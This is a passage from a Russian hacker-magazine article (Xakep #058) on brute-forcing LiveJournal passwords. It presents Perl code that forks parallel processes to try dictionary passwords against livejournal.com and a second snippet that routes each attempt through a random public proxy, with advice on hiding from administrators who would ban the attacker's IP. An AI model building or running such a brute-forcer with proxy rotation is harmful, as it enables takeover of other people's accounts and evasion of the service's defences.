Брутфорс: полезная практика Докучаев Дмитрий aka Forb Xakep, номер #058, стр. 058-058-3 Дело в том, что в однопоточном режиме в каждом проходе цикла создание сокета происходит всего один раз. Но что нам мешает наплодить 10 параллельных запросов в одном цикле, а затем за один раз обработать все ответы? В результате получаем скрипт, который буквально за несколько минут сможет перебрать полумегабайтный словарь. Реализовать алгоритм нам поможет перловая функция fork(), о прелестях которой я уже не раз писал. Несложная модификация кода быстро превращает наш скрипт в реактивный переборщик ;). Таблица2: Параллельный алгоритм переборщика while($pass=<file>) { # По каждому слову в файле chomp($pass); # Обрезаем символ \n push(@threads,$pass); # И заносим его в отдельный массив if (scalar @threads eq $threads-1) { for ($j=0;$j<=$threads-1;$j++) { if ($pid=fork()) { # Делаем fork() push(@forked, $pid); } else { crack($threads[$j]); # Переходим на процедуру crack exit; # Завершаем подпроцесс } } killall(); # Убиваем все порожденные процессы } } Если запустить модифицированный брутфорсер (ljbrut2.pl), то итоговое время перебора паролей уменьшится в несколько раз по сравнению с первой программой. Это объясняется тем, что происходит не последовательный перебор, а порождение нескольких независимых подпроцессов, каждый из которых соединяется с удаленным сервером. Переменная $threads, определяющая максимальное количество потоков, задается пользователем из командной строки либо может быть изменена в начале скрипта. Безопасность Я не зря акцентировал твое внимание на недостатках этого метода. Если админ обнаружит несколько тысяч одинаковых соединений в логах с твоего адреса, то он просто забанит твой ip. Но я не говорил, что при этом невозможно его защитить. Самый рабочий вариант - использовать подготовленный листинг рабочих прокси-серверов (найти их ты можешь, например, на http://proxycheck.spylog.ru). Для нашей безопасности просто возьмем случайный прокси из листа, через который законнектимся на ливжурнал. Если проксик дохлый - повторим операцию и заменим его на работоспособный. Таблица3: Вариант кода для работы с proxy-серверами if ($opt_p) { # Если есть опция -p командной строки open(proxy, $proxylist) || die "cant find proxylist\n"; @proxies=<proxy>; # Считываем прокси из файла close (proxy); # И закрываем } sub crack { my $pass=shift; # Выцепляем параметр $pass ($server, $port)=split(':',$proxies[rand(int(scalar @proxies))]) if ($opt_p); # Берем рандомную строку из массива @proxies $socket=IO::Socket::INET->new(PeerAddr => $server, PeerPort => $port, Proto => tcp) or crack($pass); # Создаем соединение с livejournal.com # либо рекурсивно вызываем процедуру ... } Теперь можно с уверенностью сказать, что брутфорс будет работать быстро и безопасно. По крайней мере, если не злоупотреблять им. Ведь прокси-сервера тоже могут писать логи... |